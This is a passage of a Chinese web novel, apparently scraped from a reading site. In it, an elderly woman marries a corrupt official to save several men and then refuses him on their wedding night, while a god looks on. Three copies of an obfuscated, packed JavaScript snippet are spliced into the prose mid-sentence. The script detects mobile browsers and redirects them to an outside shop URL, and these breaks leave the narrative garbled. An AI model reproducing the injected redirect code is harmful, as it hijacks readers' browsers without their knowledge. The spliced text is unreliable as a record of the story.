连皇亲国戚都来捧他的场,此刻,是宋礼遇最风光的时候。 也是在场官员到的最全的时候。 衡羿在一旁喝闷酒,上回小信徒跟贺平安的喜酒没喝上,这回他也是喝上了。 不白来啊,真是不白来。 就是不知道为什么,这酒喝下去,是苦的。 囡吉坐到衡羿的身旁,一边给他喂酒,一边宽慰他的心。 这是老爷交待的任务。 如果她办得好,那她爹今年就能升。 宾客们从中午一直喝到晚上,仍旧觉得不尽兴。 大家都称赞宋礼遇重情重义,不负几十年的等待,终于抱得美人儿归。 囡吉捏着酒杯的手都酸了,就这么一杯一杯地喂酒,也没见衡羿有什么醉态。 周围的喧嚣和他没有关系,他一心想着那晚小信徒问自己的话。 当然,是他先问她的。 “你能不能,不嫁宋礼遇?” “要不你跟我一起,把那个兵营一锅端了?顺带我们再起个义?最好是把天下打下来,然后从上到下整顿军纪,不许他们再欺负百姓。扰民者,斩。虽然我已经五十岁了,但也不是提不动刀。” 衡羿没办法回应她。 如果是薛尘,会答应她。可他已经不是薛尘了。 天道并没有给他平乱的任务,只让他照看三界,防着魔界出来闹事而已。 可魔界自从上衡仙君坠魔后,已经近千年没有出来作乱过了。 除非,天道在人间选出新的帝王,需要他帮助时,他才能出手。 现在这世道乱成这样,胡乱起义的话,只怕会更乱。 到时候生灵涂炭,不是白白地死人么? 衡羿不是凡人,他要考虑的事情,比凡人更为复杂。 因此,不能答应她。他甚至,连骗骗她都不能。 那晚,他沉默了很久。 最后还是花祝年拍了他的头一下,替他解了围。 “我知道你是个拿笔的书生,家里又不缺吃穿,是没必要起义的。只有走投无路的人才会起义。别担心,我就是,逗逗你。” 不会有人跟着她起义的。 她已经是一个五十岁的老太太了。 还有谁会相信她呢? 有谁会相信,一个五十岁的老太太,会带着他们打天下呢? 她自己都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他,他不知道,他们今晚,会不会在新婚之夜做。在他的印象里,一般夫妻之间,到了一定的年纪,好像,就不太会做了。 主要是女子的欲望没那么强,男子的倒是一直都很强烈。 他在天上看小信徒跟贺平安做,感觉她不是很喜欢这种事。 像是在应付差事。 不知道,跟宋礼遇会怎么样。 他们,他们最好是,什么都不要做。 宋礼遇既然喜欢她,那就不应该强迫她做。 况且,小信徒的身体又不好。 他这一路上,好不容易才把她养得胖了些,别,别再给她做瘦了。 囡吉似乎看出了衡羿的担心,她拈着酒杯喝了一口道:“你放心吧,今晚,他们是一定会做的。” 衡羿忽地看向她:“你,你怎么知道?” “给花小姐这么大的名分,不就是为了名正言顺地做吗?不然,你以为是为了什么?老爷又不是傻子,难不成是娶个菩萨回去供着啊?” “你不是说,你家老爷,从来不强迫人吗?” “他是不强迫啊。但他会跟你谈条件,花小姐为了什么嫁给他,到最后就会为了什么跟他做。不过,老爷技术还不错,你不用担心花小姐会不舒服。况且,她又不是没跟别人做过。” 衡羿气道:“跟别人做过怎么了?跟别人做过,就默认也能跟其他的人做吗?你把她当什么人了?” 可能是他的声音有些大,闹得周围的宾客频频回头看他。 不知道他是哪里来的后生,居然敢在宋大人大喜的日子撒野。 囡吉小声道:“你急什么呀?我又没说别的。我的意思是,她经历过这种事,不会像没经历过的那样害怕。” 衡羿的目光中满是心疼:“这对她来说,只会是噩梦重演。怎么可能会不害怕?这是二次伤害!” “一个老太太,应该没事的。可能早就不在乎了。” “怎么会不在乎?老太太怎么了?老太太就能被人随意强迫吗?老太太到底为什么要被你这么说?她是老了就变成男人了吗?只要是女人,都不喜欢被强迫的!怎么可能会因为年纪的增长,而对这种事满不在乎呢?老太太本来正是享清福的年纪,却遇到这种被人强迫的事,这才更可悲吧。” 囡吉也是有苦说不出,她能怎么办? 总不能真顺着他的话说,说花小姐今夜一定很难熬,说不定会痛苦得要死。 到时候他再一个气不过,冲进房间把人抢了出来,那老爷就要怪罪她了。 她只能大事化小了说啊,真是有病,怪她干嘛! 这又不是她的真心话,她也是女子,难道不知道被人强迫的感觉吗? 神经。 宋礼遇在外面应付得差不多了,就准备入洞房了。 衡羿一直在一旁幽怨地盯着他。 知道的,是他抢了他的小妻子,不知道的,还以为他跟他是相好…… 就连宋礼遇的那些妾室,今天都是高高兴兴的,从没挂过脸。 宋礼遇离开后,衡羿也随即起身。 囡吉连忙再次拖拽住他:“你不能去的。老爷说过,让我看好你。今晚,你要是想人陪,我们就一起做个伴儿。” “放手。” 囡吉猛烈地摇头,死也不肯放开他,就那样紧紧地抱着:“花小姐已经是老爷的夫人了,你就别再想着她了。况且,她现在也未必看得上你,你也给不了她这样大的排场,更无法给她什么名分。你如今半点权力都没有,只不过是出身商贾之家。你怎么就,这样看不清自己呢?你跟我,都是无所依靠的人,我们应该互相配合,抱团取暖才是。” 60. 老登 坦白讲,最初小信徒对他的情感,和尘世那些痴男怨女之间的并无不同。 如果这种庸俗而平凡感情,到薛尘生命的结束,就随之终止的话,那衡羿也可以很轻易地放下。 毕竟,他直到死前,都从未真正地在意过她。 一直,一直都是,她的一厢情愿。 他真正在意她的那一刻,是在他死后。 一抹单薄的红色身影,在偌大的刑场上,拖着个破烂的木筐,一边哭一边捡他的碎肢。 血液漫流得到处都是,她竟然一点儿也不害怕。 也不觉得丢人。 原来真的有人爱他至此。 已经回归神位的衡羿,对于她的痴愚,又是嘲笑又是看不起。 他看她怜惜地去捡他的那些碎肢,就像看一只卑贱的蝼蚁,去搬运珍爱的蜜糖一般。 只有她在乎。 皮囊而已,连他自己,都是不在乎的。 人间像个巨大的垃圾处理场,于他而言,不过是在成山的垃圾中滚了一遭。 他终究还是要回天上的,那些痴愚的人只能留在人世挣扎。 可衡羿没有料想到的是…… 她的痴愚像一柄利剑,刺穿了他麻木冷硬的心脏。 也扰乱了他平静无波的神仙生活。 他的确是被她从天上,生拉硬拽下来的。 把他弄下来后,她又不管他了。 还要当着他的面改嫁他人。 她总是让他见证自己的无能和迂腐。 让他明明靠得很近,却不得不在造化弄人中,一次次失去她。 他的心被她弄得七上八下的,她反倒就这样平静地嫁人了。 宋礼遇轻抚着花祝年身上的咬痕,那是另一个男人在她身上留下来的。 “疼吗?” “不疼了。” “我问的是当时,疼吗?” “不记得了。” 她对这种事总是很麻木的。 宋礼遇以为这样就能击垮她的心理防线,让她主动对自己诉说这三十年来的委屈。 可她什么也没说出口,就只是那样平静而淡漠地望着他。 像望着一棵待掰的苞米。 她的目光沉静如秋水,他知道她此刻,心里想的并不是他。 就算想的不是他又怎么样?他不还是得到了? 还有谁能跟他争呢? 这个当初最看不上他的人,如今还不是要在他的身下承欢。 他要在一寸寸抚摸中,一点点碾碎她的尊严。 宋礼遇闭上眼睛,虔诚地去吻她的心口的伤疤,脸上却突然挨了一巴掌,还被她踹下了床。 花祝年从床上起身,将衣服整理好:“不行,我真忍不了。” 宋礼遇坐在地上,从震惊到愤怒,又从愤怒到委屈,最后直接痛哭出声:“连贺平安那种山野糙汉你都忍得了,到了我这儿,怎么就忍不了了?” 花祝年头疼道:“他至少没欺负过老实人,他妈的,你们一家都在欺负人,你到现在还在欺负人,我一想到你收那么多礼钱,我就受不了。” 宋礼遇在地上急得跳脚:“我礼钱退回去还不行吗?” 花祝年摇头:“不行不行。我真受不了。忍耐这种事,三分天注定,七分靠打拼,剩下九万九千九百九十分是真的没办法。我半点儿都忍不了。宋礼遇,我太讨厌你了。” “我一想起你欺负人的那张嘴脸,就讨厌得要命。你知道今晚我最想干什么吗?外面是官员来得最齐全的时候,我甚至想一把火把他们全烧了!” 宋礼遇坐在地上妥协道:“你想烧也行,现在把他们全烧了,明天就会有新的人顶上来,敛财工具而已,没人当回事儿。我帮你把他们全烧了?” 花祝年摇头:“不是烧不烧的事儿。就是弄死,我也得在战场上弄死他们。哪能把人骗过来喝喜酒,最后一把火全把人烧死呢?” 她不干那种缺德的事。 所以,有些事就只是想想而已。 可她确实讨厌宋礼遇,本来以为自己能接受的。 但最终发现,是真的不行。 根本无法忍受。 她还是想弄死他。 这话说出来,虽然有些不情理,但她确实想弄死他。 想弄死跟他一样的人,她真的没办法跟他睡。 睡着睡着,她都怕忍不住再捅他几刀。 宋礼遇红着眼睛,坐在地上,开始了对花祝年的终极嘲讽:“你怎么这么不知好歹?知不知道,有多少人想要嫁给我,又有多少人为了求我,甘愿做到何种地步?” 花祝年坐在床上无奈地点头:“我知道我知道,但我真的没办法。要不你弄死我算了。就算有再多人想嫁你,有再多人想求你,这跟我有什么关系呢?” 这件事儿发展到现在的地步,她也觉得挺尴尬的。 她以为自己可以忍受,就像忍受贺平安一样。 可是,贺平安虽然混蛋,却是梁山好汉一般的人物。 他只欺负恶霸,越恶的,他越欺负。 宋礼遇也太不是个玩意儿了,专门欺负拖家带口的老实人。 花祝年没办法忍受跟他一起睡,她恨不得弄死他。 这真是没办法妥协的事情。 宋礼遇看着花祝年为难的样子,心中突然觉得一阵羞愧。 他也不知道自己怎么就那么让她讨厌。 可如果他不做那些事的话,又怎么可能有今日的地位?更加不可能逼她跟他成亲。 所以,说到底,宋礼遇是不后悔的。 他只觉得花祝年揪着过去的一点小事不放,实在是不识抬举。 “那你想怎么办?这婚都结了,酒席也办了,你总不能再跟我和离。我告诉你,我绝不接受!我也是有尊严的。” 花祝年头疼地说道:“我知道,你有尊严。可是谁没有呢?我真的不行,你要觉得没面子,你就弄死我。我也是烂命一条,不怎么在乎的。” 宋礼遇没有办法,最终别过头去,无望地轻喃:“我可以等。” 花祝年思索道:“那我明天想回家。” 宋礼遇震怒:“你别以为我不知道你想遛!” “不是,这么多天了,我总得回去看看,你到底有没有帮我救人。万一没救,我不是白嫁了吗?” 宋礼遇冷笑一声:“你爹是生意人,从来不做亏本的买卖,你这样精于算计女人,什么时候白嫁过?哪次不是为了更重要的东西嫁人呢?着急忙慌地嫁贺平安,就是为了尽早让薛尘入土为安,疯狂收集薛尘的魂魄,生怕他魂飞魄散无法投胎。” “在寻常人看来,你不过是为了有个供奉他的地方,为的那间书房才嫁的贺平安。为了那些嫁人,半点儿都不值得。可我知道,你实则是为的薛尘封神的微渺希望,才当机立断地选择嫁人。你早就看出来,刑场上被人摆了风水阵,时间很重要,而你等不得。” “你根本不在乎自己嫁给谁,贺平安那么珍惜你,娶到的也不过是一副皮囊。你亏什么啊?你什么时候亏过呢?你的心多珍贵啊!还不是全由你自己做主?说给谁就给谁,说不给谁就不给。我都如此待你了,你还是讨厌我,还是想弄死我。你难道不是在践踏我的心?只有你对薛尘的感情,是感情,我对你的就不是吗?” “就因为我坏,我贪,我打压下属,我草菅人命,我卖官鬻爵,所以我的感情就一文不值,活该被你这样践踏,是吗?你觉得我没有人味儿,所以从来不拿我当人。可我对你究竟如何,你心里就真的半点儿都感受不到?” 花祝年坦诚道:“宋礼遇,我感受得到。可是,我觉得恶心。我没办法跟欺负人的人生活在一起。那样,我好像,好像是你的纵容者一样。其实,今天,我就很不开心。我觉得是因为我的存在,才让那些人来给你送礼金。我来京城这一路上,遇到的都是灾民,谁手里有多少钱呢?就算是官员,也是要过日子的。大家却攀比着来给你送钱,看谁送得多。这全都是因为我跟你成亲。” 宋礼遇突然原地癫狂道:“不是!他们送礼金,是因为我的权势,不是因为你跟我成亲,你根本不必为此感到自责。他们有事相求,才会如此谄媚。这和你是没什么相干的,我当年也是这么谄媚着过来的。我有今天,不欠任何人的。你干嘛要心疼他们?” 花祝年低头道:“不管你怎么说,我确实没办法接受你。你身上没有半分好的地方,虽然过去了三十年,可仍旧是我最讨厌的那种人。” 宋礼遇忽然从地上起身,冲到她的床前,掐住她的颈说道:“你信不信,我能弄死你。我甚至,根本不用给你加什么罪名,我就可以悄无声息地弄死你。我甚至可以虐待你,让你求生不得求死不能!你不是觉得我没人味儿吗?我就没人味儿给你看!” 花祝年轻笑道:“你弄死我又怎么样呢?我又不怕死。这种话,你用来吓吓你的下属就好了。弄死我,也不会让我对你的印象改变半分。我这回来,就没想过活着回去。我知道,你本来就是这样不容人冒犯的人。” “在你眼中,我对你处处是冒犯。可是,你有没有想过,我只不过是表达对你的不喜欢,而这是我本来就该有的权利呢?你还是跟当初一样,当初我拒绝你,都说我是看不起你,你爹大发脾气,可是你有没有意识到,我是有拒绝的权利的。商贾之家怎么了?商贾之家的女儿不算人吗?对你就只能接受吗?” “我有不喜欢你的权利,有不接受你的权利,有讨厌你所作所为并指出来的权利。这对我而言,并不是在冒犯,我只是在做一件再正常不过的事而已。” “为什么你一人之下万人之上,我就一定要臣服于你呢?你吸了那么多人的血才有今天,我为什么要喜欢一个吸血的恶魔?为了共享你的荣华富贵吗?当初我花家也不是没有,我享受过,坦白讲,并不是很在乎。荣华富贵,半倾豪宅,万贯家财……都是于顷刻间消散的东西。我为什么要为了这些,扭曲自己的心,去跟你过日子?” 宋礼遇没想到都成亲了,甚至还是在他们的新婚之夜,自己都能被她这么一通训。 她不给他碰就算了,怎么训他跟训狗一样? 他气得嘴唇发白,浑身颤抖,一时也想不出什么办法来拿捏她,只能松开了掐住她的颈。 可是片刻后,又拍着床板狂怒道:“那群人你到底还救不救了?” 花祝年闭上了眼睛:“救。” 宋礼遇重新攥住她的手:“既然救,你就应该知道,自己现在该做什么。为你相公宽衣!” 花祝年忍了忍,用苍老的手摸上了他的衣领。 最后还是没忍住,随手抄起旁边的枕头来打他:“老登,我宽你爹个头!我是让你救人,这人你难道不该救吗?但凡皇帝老儿顶点用,我就去告御状了。明明让上面查一查,就能查清楚的事,我本来不用托这个关系。” “他们又没有做错什么,本来就应该活着,还不是你们这群势大压人的狗官闹的?怎么维护我正常的权利,也成了求你办事?如果不是你们不许告状的法令,我哪里用得到求你?说到底,还是你的问题。” “早就应该放的人,非要卡着不放,不是有病是什么?我为什么要因为你的权力嫁给你?你们这群狗官不做人,为什么要我一个小老百姓来承担?我拿回我应得的东西,救本就不该死的人,还要出卖自己给你睡,这还有没有天理?啊?” 花祝年一边骂,一边拿着枕头呼呼地楔宋礼遇。 宋礼遇被打得趴在床上,喘不过来气。一个劲儿地直哭。 “你一把年纪还这么暴躁,小心到最后没人娶你!” “娶不娶有什么重要的?我本来也没跟贺平安和离。揍死你个老登!” 花祝年把宋礼遇狠揍了一通,才出溜一下从床上滑了下去。 这个老王八蛋,身子骨真结实,累死她了。 宋礼遇从床上爬起来,踹了她的肩膀一脚:“滚上来睡觉!” 花祝年回过头,拖住宋礼遇的腿,往下猛地一拽。 砰地一声,摔了个响的。 宋礼遇摸着自己的后脑勺上的血,终于过上了幻想中的,鸡飞狗跳的婚姻生活。 他躺在地上,看着花祝年道:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409041|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干嘛这么欺负我?就算我爹欺负过你爹,可我爹也给你爹利益了啊!我又没有欺负过你,你对我,是不是心太狠了些?” “你明天放我走,让我看看人到底救没救,我就不欺负你了。” 宋礼遇冷笑一声:“这人我要是救了,你还回来吗?” 花祝年心虚道:“回来啊!干嘛不回来?这大宅院我挺喜欢的。” 宋礼遇沉默良久后,终于松口道:“好,明天派马车送你回家。你在家里见完了该见的人,可千万记得回来啊。” 花祝年此时也终于松了一口气,对他应付道:“记得记得。” “上床睡觉。” “我不跟你一起睡,你上去睡吧。” 宋礼遇扭过头看了她一眼:“我不跟老太太置气,也不抢老太太的床睡。你快上去睡吧。” 花祝年上去后,一铺被子砸了下来,刚好砸到宋礼遇的脸上。 他轻喃道:“你还是爱我,心是骗不了人的。” 花祝年将红帐子放下,又从里面扔下去个枕头给他。 “我确实讨厌你,但一码归一码,谢谢你把床让给我。” 宋礼遇笑道:“不应该啊。按你这个臭脾气,你应该说,这本就是我的床,你这个老登,给我下去!我拿回自己的床,有什么不对?老登,受死吧!” 花祝年不再理他,打人也挺累的。 她不喜欢身上的红色喜服,成亲的喜服她穿了三次。 一次是嫁薛尘,一次是嫁贺平安,一次是嫁宋礼遇。 她也没想到,自己能成三次亲。 就在花祝年快睡着的时候,宋礼遇突然出声问道:“夫人。” “干嘛?” “其实,你是不是,就是喜欢死了的男人?” “为什么这么说?” “你看啊,当初薛尘就死了,你为了埋他,委身于贺平安。现在又为了差点被斩的贺平安,委身于我。你总是在快失去的时候,才醒悟自己是爱那个人的。” 花祝年困得要命,打了个哈欠道:“别逼逼赖赖的瞎矫情了!我才不是那样的人呢。给薛尘封神,是因为我觉得他就该封神。救贺平安还有那些男人,是我觉得他们不该死。我对抗的,只是这个规则缺失的世道而已。凭什么几条法律条文,就让我身边的人死去呢?” 宋礼遇头一次羡慕贺平安:“你喜欢贺平安吗?” “不喜欢。” “你真绝情啊,人家护了你三十年,你都不考虑一下再说。” “别打扰我睡觉,人老了,觉多。” 宋礼遇又问道:“那你喜欢我吗?我真觉得我比贺平安好太多了。” 花祝年被他一次次问得烦了:“你,贺平安,我都不喜欢。别再问了。就算你俩差了十万八千里,我也还是不喜欢。” 宋礼遇无奈道:“那,有一天,要是我死了,你也会为我求情吗?” 帐子里的人久久没有回应。 宋礼遇喊了她一声:“夫人?” “别吵,我在思考。” 又过了好一会儿,宋礼遇忍不住问她:“你思考好了吗?” “要看你是为什么而死的。” “要是为天下苍生呢?” “那我肯定会为你求情的。你要是死了,我也给你塑个小泥人儿,助你封神。” 宋礼遇躺在地上,抱住枕头笑了很久。 “可惜我不会诶。我永远不可能为别人而死。我永远不会让你见证我的死亡。有本事的男人,才不让女人为自己奔波。可见,贺平安和村子里的那群男人,都是没什么本事的,要你一个老太太来——” 宋礼遇的话还没说完,帐子里已经传出了鼾声。 他轻掀开帐子,看见花祝年睡得四仰八叉的。 宋礼遇忍不住用手去抚摸她的白发:“你要是早点跟了我,也不至于这样操劳。可是,我怎么觉得,就算你白发苍苍,我也还是挺喜欢的?” 花祝年迷迷糊糊中,一拳打了过去:“别烦我睡觉。” 宋礼遇躺回到地上。 不管怎么说,人他也是娶到了啊。 开心啊,开心。 衡羿一夜无眠。 他本来可以施法去看,小信徒跟宋礼遇有没有睡的。 但是,忽然就不敢看了。 他怕自己接受不了,可是,又从心底里认为,他们应该是睡了。 衡羿不断地提醒自己,此番下来,只是给她收尸的。 并不为别的事。 至于,她为了救谁,要跟什么人睡,都是她自己的事。 这不是他所能干涉的。 他已经回归神位了,不能再以人的立场来考虑问题。 做人太痛苦了,还是做神好,可以什么都不用管。 他不想因她,再牵扯入红尘之中。 不就是跟人睡了吗? 他的小信徒,想跟谁睡就跟谁睡。 只要不跟他睡就行。 总之,他是神,他不能为了她,失去了做神的资格。 小信徒是很痴愚的。 他并不能真正地拯救她,就好好地为她收尸好了。 既然不能给她任何念想,那似乎也不能拦着她去跟谁睡。 衡羿自我调节了一整晚,终于把自己给调节好了。 要么怎么说他能忍呢? 能在天上忍三十年,就看着小信徒跟贺平安做,愣是不肯下来的人,真是一点儿人味儿也没有。 所以,才能做神。 神职,的确比他的小信徒更重要。这是衡羿确认过无数次的事。 而且,这本来就是她一厢情愿,他是不用为此付出什么代价的。 当然,她也可以选择,不爱他。 那样的话,他也会轻松很多。就连她死,他也不会伤心。 有什么好伤心的呢? 她,他从来就没有得到过。 跟那些凡间男子有所不同的是,衡羿也从未想过要得到她。 不过是,过客。他才,不在乎。 她爱跟谁睡跟谁睡。 61. 一个像薛尘的人 话是这么说,可宋礼遇大早晨起来,刚一打开门,脖子上就架了一把斧头。 之前为了不让人打扰他和花祝年,特意不让下人守在门口。 哪想到这个后生会在这里等着他?再说了,他不是把囡吉送他了么? 干嘛还这么气急败坏的? 囡吉在一旁哭哭啼啼地拦着衡羿:“你这是干嘛呀!照顾了你一晚上,一醒来就过来找事儿。” 宋礼遇对囡吉摆了摆手:“夫人还在睡觉,声音小点儿,别吵着她。” 囡吉瞬间闭上了嘴巴,睁着泪汪汪的眼睛,看着衡羿。 衡羿看着宋礼遇迈出门槛的左脚,压低声音发泄道:“谁让你先迈左脚的?” 宋礼遇也憋了一肚子火,他又没睡成,可是又不能让别人知道他没睡成。 只能装作睡成的样子,强压着自己的火气。 宋礼遇指着衡羿的鼻子,用同样低的音量说道:“昨天是我大喜的日子,今儿个我也开心!所以你发疯,我不跟你计较。” 衡羿听完更生气了,一把将宋礼遇摁在门框上:“你不知道,出门要先迈右脚吗?” 宋礼遇骂骂咧咧道:“你他娘的,故意找茬儿是不是?” 衡羿在天上待得实在无聊,他已经许久不和人吵架了,偶尔吵一吵也挺好的。 他吵得格外认真:“我就问你,为什么要先迈左脚?” “你管我为什么?老夫的门槛,老夫爱怎么迈,就怎么迈!” 衡羿一斧头劈了下去,吓得宋礼遇将左脚退了回去。 宋礼遇气道:“你到底要干什么啊?我跟花小姐,都已经礼成了。囡吉我也送给你了,别管你要不要,反正我是送了。怎么看,你也不亏啊!你在这里跟我置什么气?啊?” 宋礼遇站在门槛里面,说得胡子翻飞。 衡羿怒气冲冲地蹲了下来,一言不发地将新房的门槛,砍得歪七扭八。 直到砍没了这道门槛,才勉强丢了斧头。 “以后出门,先迈右脚。” 宋礼遇看着衡羿,想找人揍他,眼下又没个能用的人。 只得忍了这口气。 不过这后生也真是神经!要是舍不得,干嘛不昨晚来找? 有种中透露着一丝没种,没种中又透露着一丝有种。 宋礼遇出去后,衡羿才进去找自己的小信徒。 刚刚那么大动静,他就不信她还能睡着。 可等他进去一看,她居然拿被子捂着耳朵,侧躺着又睡过去了。 衡羿小心地去摸她的头。 他才不在乎她经历了什么,她找几个男人,都是她自己的事。 况且,他提醒过她,不许她救贺平安和那些男人的。 她根本不听他的话。 也是,他算她什么人呢? 她凭什么听他的? 他对她而言,还没一个破泥人儿亲近。 恐怕,就是真的薛尘出现在她面前,她也还是会选择救那些人的。 没关系,他不在乎。 她就要死了,等他给她收完尸,他就还完她的恩情了。 他也就该回天上了。 花祝年一直睡到中午才醒,衡羿也在那张床上躺到了中午。 在哪儿守不是守。 他又不跟她做什么,在地上和在床上也没什么区别。 宋礼遇确实小心眼儿,修个门槛修了一上午,其实就是派人看着他们。 哪怕明知道花祝年并不喜欢这个后生。 只是拿他当儿子看。 花祝年睁开眼睛后,看了看身边躺着的人。 “你怎么躺这儿了?” 衡羿凉凉地说道:“昨晚累着了吧,今天睡得那么沉。” 她望着头顶的红帐子轻喃:“是觉得累,可能是人老了的缘故,感觉做什么都很累。有时候,走几步路,都觉得累。” 衡羿转过身,抱住了他的小信徒,嘴上却说着无厘头的话。 “花大娘,我们什么时候回去啊?我想我娘了。” 花祝年回想着昨晚的话:“宋礼遇说,今天就送我离开。” 衡羿凑到她耳边说道:“我们这回走了,是不是,就不回来了?” 她俏皮地小声说道:“人都救了,还回来干嘛?有病啊?” 衡羿别扭道:“可是,你都嫁给他了。” 花祝年忽地笑出了声:“嫁他又怎么样?我人嫁给他了,心又没嫁给他。我想去哪儿就去哪儿。” 衡羿掩饰住自己的宠溺,用略带责怪的语气道:“你还真是不守礼节。” 花祝年忽地拍了他一巴掌:“不用太守礼节的。如果繁文缛节让你痛苦,那就让那些都去他妈的。算了,跟你这些读书人说,你也不懂。” 她缓慢地从床上坐起来,懒洋洋地伸了个懒腰:“等回去后,你就跟绒绒成亲。我跟你贺大叔去吃你们的喜酒啊。还有,介绍费你得给我。” 衡羿看着自己的小信徒,忍不住对她引诱道:“花大娘,你就,就没想过,找个别的人吗?” 花祝年愣了一下:“找什么人?” “找个别人跟你一起过日子。” “我都有贺平安了,干嘛要找别人一起过日子?” 衡羿生气道:“我是说,你可以换了他!” “我为什么要换他?” “你都不在乎礼节了,干嘛要跟他那样的人过一辈子?找个年轻的,不是更好吗?比,比如,比如外面那些俊后生,哪一个不比贺大叔好?” 衡羿觉得自己并没有在破坏贺平安的婚姻。 他只是,想让小信徒有新的婚姻。 反正,小信徒也嫁了宋礼遇,那再考虑考虑别的人,好像也不是不行。 他没有说让她考虑他。 只是,在说别的人。衡羿是真心觉得,他的小信徒值得拥有很好很好的伴侣。 而不是,一个易怒的贺平安,亦或是小心眼儿的宋礼遇。 他们都不是她的良配,他,他也不是。 花祝年看着窗外的鸟儿,虽说是自由自在地飞来飞去,可也不过是从一棵树上,飞去另一棵树上而已。 并不能长久地停留在天空,那样翅膀会累坏的。 “我爹娘也这样劝过我,但是我觉得,天下间的男人,好像都是一样的。嫁给谁,似乎都没什么所谓。” 衡羿着急道:“那还是不一样的。只是,你没有再遇到喜欢的。如果遇到了——” 他的话还没说完,就被花祝年打断道:“我不可能再遇到的,就算遇到,我应该也只是多看两眼,再没什么别的念想了。” “为什么?你不想再嫁一次吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13425977|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 花祝年笑着摇头:“成亲太累了。” 衡羿忍不住问她:“那如果,一个像薛尘一样的人,再次出现在你面前,你也只是看他两眼吗?” 花祝年坦荡地点头:“是啊,两眼已经够多了,再多看一眼,就会让人起疑的。对方会说,这个老太太真奇怪啊,总盯着我看干嘛?一个像薛尘的人,应该是很年轻很年轻的吧,可我现在,已经不怎么年轻了。” 衡羿对她试探道:“你要是真的放不下他,等我遇到像薛尘一样的人了,我就把他抢过来给你睡。你不用管他愿不愿意。” 花祝年吓了一跳:“千万不要做这种欺男霸女的事。我让绒绒强迫你,是为了今后让她有地方去,有人护着。我现在又不是没地方去,也不是没人护着,干嘛要把人强抢过来呢?” 衡羿听完之后,内心很是复杂。 “薛尘对你来说,到底还是和我们这些男人不一样的。别的男人对你来说,是块肉。薛尘对你来说,是个人。肉可以肆意分享,甚至可以横加利用,可是人,你却舍不得。不仅舍不得薛尘,就连像他的人,你都舍不得伤害分毫,是不是?” 花祝年其实不是很想,跟别人分享自己的感情。 那都是三十年前的事情了。 如今,她已经没有男女之情了,对任何人都不会有。 听这后生这么一说,心里还怪疼的。 她一巴掌拍了过去:“管我的感情干嘛?管好你自己就是了。一天天地,闲得你蛋疼!” 花祝年有时候骂街是很粗鲁的,但她并不是真的要表述骂词中的意思。 就仅仅是发泄之语。 可衡羿每次听到,都会脸红。而且,是腾地一下就红透的那种。 明明他都是一个高龄老神仙了,内心不应该再有什么波动的。 况且,她这又不是什么调戏之语。 他居然,听她骂自己,都会有这样大的反应。 千万不要传出去,好丢脸。 衡羿帮自己的小信徒穿衣服,她身上水肿的地方越来越多。 摁下去,就是一个坑,还很容易出现淤青。 他现在像呵护一支摇摇欲坠的烛火一样,小心翼翼地呵护着她。 生怕一阵风吹过来,对她造成什么损伤。 在帮她穿鞋的时候,他没有选宋礼遇的鞋,而是选了他们路上买的鞋。 花祝年穿好后,在地上走了走:“还是这鞋穿着舒服。” 衡羿低头自夸道:“我买的,自然是最好的。” 两个人中午吃饭时,宋礼遇又巴巴地凑了过来。 “夫人,此去路途遥远,我给你配了点东西,用车队送你回去,好不好啊?” 衡羿把筷子一摔:“不好。我们怎么来的,就怎么回。不劳宋大人费心了。” 宋礼遇想起这后生,死皮赖脸地睡自己夫人身边,补回笼觉,就觉得气。 “我跟我夫人说话,你一个后生,老插什么嘴?” “这一路,都是我送花大娘来的。花大娘习惯了听我的。我当然有权利决定,要不要你的东西。” 又在跟他讲权利这种事!一个个的,到底是跟谁学的? 宋礼遇拍桌子闹道:“那你们就别回去了!反正,这人我也已经娶了,没有我的命令,你们休想踏出这个宅子一步。” 62. 魔怔到一定地步的时候 如果不是答应了她,他根本就不想让她回去! 到时候还要多费一道手,再把她抓回来。 宋礼遇不是傻子,他从来就不相信,她回去后,还甘愿回来。 花祝年是世界上脾气最臭,性格最犟的小老太。 他觉得她哪怕就剩一副骨头架子,也会扬起骷髅手来,猛抽他两巴掌的。 她比他以往见过的任何人,都难以驯服。 又穷又横,蛮不讲理。 在她身上几乎看不到半点女子特质,反倒能看出几分粗犷野兽的意味。 宋礼遇并不喜欢野兽,但他对圈养野兽很感兴趣。 特别是,看野兽在自己的圈套里,挣扎叫嚣,却不得解脱。 最后,变得温顺黏人。 花祝年隐隐感受到了几分危险的气息。 别到时候,她因为一个后生,再把自己给折在这里了。 她低头扒拉了两口饭:“好,就听你的吧。” 衡羿猛然看向她:“你听谁的?” “我听宋大人的。” 宋礼遇虽然得到了认可,可内心仍旧不大开心。 虚情假意地喊什么宋大人?昨晚不是还喊他老登吗? 养不熟的野兽。 傍晚的时候,宋礼遇才舍得送她离开。 还往马车上多加了个人——囡吉。 衡羿原本不想带,可是他们不带,宋礼遇就不让走。 囡吉坐在马车里,想象着车队后面,有花不完的金银珠宝,还能赏玩这一路的好风光,像一只飞出牢笼的快乐小鸟。 花祝年似乎有一种奇怪的魔力,每一个待在她身边的人,都会变得格外开朗,明媚。 像小孩子一样。 